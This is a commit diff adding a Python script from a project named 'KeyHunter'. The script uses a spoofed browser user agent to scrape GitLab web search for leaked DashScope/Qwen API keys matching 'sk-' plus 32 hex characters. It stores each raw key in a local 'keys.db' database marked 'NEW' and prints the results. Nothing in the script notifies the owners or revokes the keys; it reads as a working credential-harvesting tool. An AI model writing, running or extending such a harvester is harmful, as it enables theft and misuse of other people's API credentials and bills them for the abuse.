KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions
--- a/gitlab_web_scraper.py
+++ b/gitlab_web_scraper.py
@@ -0,0 +1,87 @@
+"""GitLab web search scraper — no API key needed, uses web UI search."""
+import requests, re, sqlite3, hashlib, time
+from bs4 import BeautifulSoup
+
+DB = r'C:\Users\User\Desktop\keyhunter\data\keys.db'
+PATTERN = re.compile(r'sk-[0-9a-f]{32}', re.IGNORECASE)
+
+s = requests.Session()
+s.headers.update({
+    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
+    'Accept': 'text/html,application/xhtml+xml',
+    'Accept-Language': 'en-US,en;q=0.9',
+})
+
+queries = [
+    'DASHSCOPE_API_KEY sk-',
+    'sk- qwen-max dashscope',
+    'sk- dashscope api_key',
+]
+
+new_keys = set()
+
+for q in queries:
+    print(f'\n=== GitLab web search: "{q}" ===')
+    
+    for page in range(1, 11):
+        try:
+            url = f'https://gitlab.com/search?search={q}&nav_source=navbar&page={page}'
+            resp = s.get(url, timeout=15)
+            time.sleep(2)
+            
+            if resp.status_code != 200:
+                print(f'  page {page}: HTTP {resp.status_code}')
+                break
+            
+            soup = BeautifulSoup(resp.text, 'html.parser')
+            
+            # Try to find code snippets in search results
+            code_blocks = soup.find_all(['code', 'pre'])
+            for block in code_blocks:
+                text = block.get_text()
+                keys = PATTERN.findall(text)
+                for k in keys:
+                    if k not in new_keys:
+                        new_keys.add(k)
+                        print(f'  FOUND: {k}')
+            
+            # Also check whole page text for inline keys
+            keys = PATTERN.findall(resp.text[:50000])
+            for k in keys:
+                if k not in new_keys:
+                    new_keys.add(k)
+                    print(f'  FOUND (inline): {k}')
+            
+            print(f'  page {page}: done ({len(new_keys)} total new)')
+            
+            # Check if there are more pages
+            if 'next page' not in resp.text.lower() and 'data-page=' not in resp.text:
+                break
+                
+        except Exception as e:
+            print(f'  page {page}: ERR {e}')
+            break
+
+print(f'\n=== Total new from GitLab: {len(new_keys)} ===')
+
+if new_keys:
+    conn = sqlite3.connect(DB)
+    c = conn.cursor()
+    added = 0
+    for k in new_keys:
+        h = hashlib.sha256(k.encode()).hexdigest()
+        exists = c.execute('SELECT COUNT(*) FROM keys WHERE hash=?', (h,)).fetchone()[0]
+        if not exists:
+            try:
+                c.execute(
+                    'INSERT INTO keys (hash, val, prov, status, found, first_seen, last_seen) VALUES (?,?,?,?,?,?,?)',
+                    (h, k, 'gitlab_web', 'NEW', 1, '2026-10-19T19:25:00', '2026-10-19T19:25:00')
+                )
+                added += 1
+            except Exception as e:
+                print(f'  DB insert error: {e}')
+    conn.commit()
+    conn.close()
+    print(f'Added {added} to DB')
+    for k in list(new_keys)[:20]:
+        print(f'  {k}')